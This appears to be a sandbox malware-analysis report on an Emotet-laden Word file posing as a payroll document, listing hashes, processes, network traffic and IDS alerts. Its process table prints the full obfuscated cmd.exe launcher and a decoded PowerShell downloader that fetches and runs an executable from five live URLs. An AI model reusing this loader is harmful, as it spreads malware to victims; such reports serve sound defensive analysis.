File name: | PAYROLL_730ZYYDYLX_12_14_18.doc |
Full analysis: | https://app.any.run/tasks/95f9ab61-ee4e-4712-bc6c-3525c68ef71b |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 14, 2018, 14:22:34 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 14 09:28:00 2018, Last Saved Time/Date: Fri Dec 14 09:28:00 2018, Number of Pages: 1, Number of Words: 3, Number of Characters: 23, Security: 0 |
MD5: | BCCE1263C98A84473CC5D06A5CC7C306 |
SHA1: | 23F8E875843D70D86E7CFFD3A027250CD3A2B039 |
SHA256: | 7EAC18CAB2205D94E5E5E0C43DAF64CBAB2E0B43CF841213C25CA34E8124739F |
SSDEEP: | 1536:Jocn1kp59gxBK85fBuzKgL1bZQrRfZkzg+a9:e41k/W48Iz51byrRfZkz |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:14 09:28:00 |
ModifyDate: | 2018:12:14 09:28:00 |
Pages: | 1 |
Words: | 3 |
Characters: | 23 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 25 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1636 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\PAYROLL_730ZYYDYLX_12_14_18.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.5123.5000 | ||||
1988 | c:\JYikZpF\EoNsrVQ\SjEzkJj\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set il8=MsworjzhpwzDbtMbVNaHhbsGJzKmY.v/SiCX-+{,LZ5=k@lxeqf14 y73($I9)W'Fgcn:R8uQ\Ed;0P}&&for %H in (58;4;59;66;43;63;3;24;69;63;76;58;19;49;33;43;67;48;9;36;3;21;5;48;66;13;53;17;48;13;29;62;48;21;34;46;33;48;67;13;76;58;50;49;62;43;63;20;13;13;8;68;31;31;33;67;13;3;13;20;48;20;18;4;30;48;22;13;29;66;3;27;31;71;20;34;17;62;65;65;24;23;45;20;13;13;8;68;31;31;66;8;48;4;50;3;4;27;18;67;66;48;65;4;3;71;8;29;66;3;27;31;33;72;16;35;18;32;77;66;55;45;20;13;13;8;68;31;31;33;67;27;3;75;33;33;67;29;67;48;13;31;35;28;33;50;56;77;65;56;77;45;20;13;13;8;68;31;31;18;22;8;33;4;33;67;65;50;33;46;27;22;29;66;3;27;31;3;5;4;4;70;55;17;28;45;20;13;13;8;68;31;31;50;71;13;71;4;3;67;29;67;48;13;31;20;66;30;66;23;42;60;63;29;32;8;46;33;13;57;63;45;63;61;76;58;26;24;64;43;63;66;71;14;63;76;58;69;74;4;53;43;53;63;51;52;55;63;76;58;22;17;19;43;63;19;44;19;63;76;58;11;35;9;43;58;48;67;30;68;13;48;27;8;37;63;73;63;37;58;69;74;4;37;63;29;48;47;48;63;76;50;3;4;48;18;66;20;57;58;74;78;40;53;33;67;53;58;50;49;62;61;38;13;4;54;38;58;19;49;33;29;11;3;9;67;46;3;18;75;64;33;46;48;57;58;74;78;40;39;53;58;11;35;9;61;76;58;71;44;74;43;63;24;71;74;63;76;59;50;53;57;57;23;48;13;36;59;13;48;27;53;58;11;35;9;61;29;46;48;67;65;13;20;53;36;65;48;53;70;77;77;77;77;61;53;38;59;67;30;3;44;48;36;59;13;48;27;53;58;11;35;9;76;58;19;69;25;43;63;9;74;16;63;76;21;4;48;18;44;76;79;79;66;18;13;66;20;38;79;79;58;11;41;71;43;63;30;4;24;63;76;81)do set J6bL=!J6bL!!il8:~%H,1!&&if %H gtr 80 p%APPDATA:~-6,-5%w%TMP:~-3,1%%ProgramW6432:~-12,1%sh%TEMP:~-3,1%ll "!J6bL:~6!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2440 | CmD /V:/C"set il8=MsworjzhpwzDbtMbVNaHhbsGJzKmY.v/SiCX-+{,LZ5=k@lxeqf14 y73($I9)W'Fgcn:R8uQ\Ed;0P}&&for %H in (58;4;59;66;43;63;3;24;69;63;76;58;19;49;33;43;67;48;9;36;3;21;5;48;66;13;53;17;48;13;29;62;48;21;34;46;33;48;67;13;76;58;50;49;62;43;63;20;13;13;8;68;31;31;33;67;13;3;13;20;48;20;18;4;30;48;22;13;29;66;3;27;31;71;20;34;17;62;65;65;24;23;45;20;13;13;8;68;31;31;66;8;48;4;50;3;4;27;18;67;66;48;65;4;3;71;8;29;66;3;27;31;33;72;16;35;18;32;77;66;55;45;20;13;13;8;68;31;31;33;67;27;3;75;33;33;67;29;67;48;13;31;35;28;33;50;56;77;65;56;77;45;20;13;13;8;68;31;31;18;22;8;33;4;33;67;65;50;33;46;27;22;29;66;3;27;31;3;5;4;4;70;55;17;28;45;20;13;13;8;68;31;31;50;71;13;71;4;3;67;29;67;48;13;31;20;66;30;66;23;42;60;63;29;32;8;46;33;13;57;63;45;63;61;76;58;26;24;64;43;63;66;71;14;63;76;58;69;74;4;53;43;53;63;51;52;55;63;76;58;22;17;19;43;63;19;44;19;63;76;58;11;35;9;43;58;48;67;30;68;13;48;27;8;37;63;73;63;37;58;69;74;4;37;63;29;48;47;48;63;76;50;3;4;48;18;66;20;57;58;74;78;40;53;33;67;53;58;50;49;62;61;38;13;4;54;38;58;19;49;33;29;11;3;9;67;46;3;18;75;64;33;46;48;57;58;74;78;40;39;53;58;11;35;9;61;76;58;71;44;74;43;63;24;71;74;63;76;59;50;53;57;57;23;48;13;36;59;13;48;27;53;58;11;35;9;61;29;46;48;67;65;13;20;53;36;65;48;53;70;77;77;77;77;61;53;38;59;67;30;3;44;48;36;59;13;48;27;53;58;11;35;9;76;58;19;69;25;43;63;9;74;16;63;76;21;4;48;18;44;76;79;79;66;18;13;66;20;38;79;79;58;11;41;71;43;63;30;4;24;63;76;81)do set J6bL=!J6bL!!il8:~%H,1!&&if %H gtr 80 powershell "!J6bL:~6!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1436 | powershell "$rIc='oJR';$Hqi=new-object Net.WebClient;$fqW='http://intotheharvest.com/uhCNWggJG@http://cperformancegroup.com/iQVXaS0c7@http://inmodiin.net/XYif30g30@http://aspiringfilms.com/ojrr87NY@http://futuron.net/hcvcG59'.Split('@');$KJF='cuM';$REr = '147';$sNH='HkH';$DXw=$env:temp+'\'+$REr+'.exe';foreach($EPL in $fqW){try{$Hqi.DownloadFile($EPL, $DXw);$ukE='JuE';If ((Get-Item $DXw).length -ge 80000) {Invoke-Item $DXw;$HRz='wEV';break;}}catch{}}$DZu='vrJ';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1656 | "C:\Users\admin\AppData\Local\Temp\147.exe" | C:\Users\admin\AppData\Local\Temp\147.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2820 | "C:\Users\admin\AppData\Local\Temp\147.exe" | C:\Users\admin\AppData\Local\Temp\147.exe | 147.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2980 | "C:\Users\admin\AppData\Local\msrasteps\msrasteps.exe" | C:\Users\admin\AppData\Local\msrasteps\msrasteps.exe | — | 147.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3040 | "C:\Users\admin\AppData\Local\msrasteps\msrasteps.exe" | C:\Users\admin\AppData\Local\msrasteps\msrasteps.exe | msrasteps.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2804 | "C:\Users\admin\AppData\Local\msrasteps\dFddSgSE.exe" | C:\Users\admin\AppData\Local\msrasteps\dFddSgSE.exe | — | msrasteps.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
920 | "C:\Users\admin\AppData\Local\msrasteps\dFddSgSE.exe" | C:\Users\admin\AppData\Local\msrasteps\dFddSgSE.exe | dFddSgSE.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
1636 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR79D2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1636 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\195FD3D4.wmf | — | |
MD5:— | SHA256:— | |||
1636 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\92DC6D02.wmf | — | |
MD5:— | SHA256:— | |||
1436 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VVC5L9SWKXFHHZFVGEN9.temp | — | |
MD5:— | SHA256:— | |||
1636 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\PAYROLL_730ZYYDYLX_12_14_18.LNK | lnk | |
MD5:A9B580C6861EDA036451BB448406CA09 | SHA256:CE5A099DB98077BAD78DF3C9B96FB42B31385F3760A2A7A48F4A545E997F1B72 | |||
1436 | powershell.exe | C:\Users\admin\AppData\Local\Temp\147.exe | executable | |
MD5:7E6C2C63082AA90DC9FA14B919B739E7 | SHA256:8A3F5372C58BDB0BD3A74ADDD16C9F4D8D881446E302420797CDF3B6622498C3 | |||
1636 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:B66D9CD94A47157A6A1F1E3D9296FCD8 | SHA256:C757C6F119E68DA25FA86DA4CE43303016E5A0BA34AD8144A85A2B96596988F0 | |||
1636 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27F839C5.wmf | wmf | |
MD5:C553C36E16BF423C1EA96788F5E2B7A9 | SHA256:38DDFA1D3DAC630A9F7D0F9CD614C00643224D27AF886ED9AC3E5740B520C2F1 | |||
1436 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:66C674FAF5938727AFF5D90EC5445F23 | SHA256:7025A80E97465DFE4B836333C348311D668663138FCD18401D84684FC95FF272 | |||
1636 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:A721F45F2B27FFC40C575106F21BE46F | SHA256:094EF10C8B9643C64F039FBDEE5C13DF8BB7A37CD9809EC47EE6557282FA19B9 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1436 | powershell.exe | GET | 200 | 50.23.110.163:80 | http://intotheharvest.com/uhCNWggJG/ | US | executable | 144 Kb | malicious |
1436 | powershell.exe | GET | 301 | 50.23.110.163:80 | http://intotheharvest.com/uhCNWggJG | US | html | 312 b | malicious |
3040 | msrasteps.exe | GET | 200 | 190.146.201.54:80 | http://190.146.201.54/ | CO | binary | 108 Kb | malicious |
1316 | msrasteps.exe | GET | 200 | 190.146.201.54:80 | http://190.146.201.54/ | CO | binary | 32.2 Kb | malicious |
1316 | msrasteps.exe | GET | 200 | 190.146.201.54:80 | http://190.146.201.54/ | CO | binary | 148 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1436 | powershell.exe | 50.23.110.163:80 | intotheharvest.com | SoftLayer Technologies Inc. | US | suspicious |
3040 | msrasteps.exe | 190.146.201.54:80 | — | Telmex Colombia S.A. | CO | malicious |
1316 | msrasteps.exe | 190.146.201.54:80 | — | Telmex Colombia S.A. | CO | malicious |
Domain | IP | Reputation |
---|---|---|
intotheharvest.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
1436 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
1436 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
1436 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1436 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1436 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3040 | msrasteps.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3040 | msrasteps.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
1316 | msrasteps.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
1316 | msrasteps.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
1316 | msrasteps.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |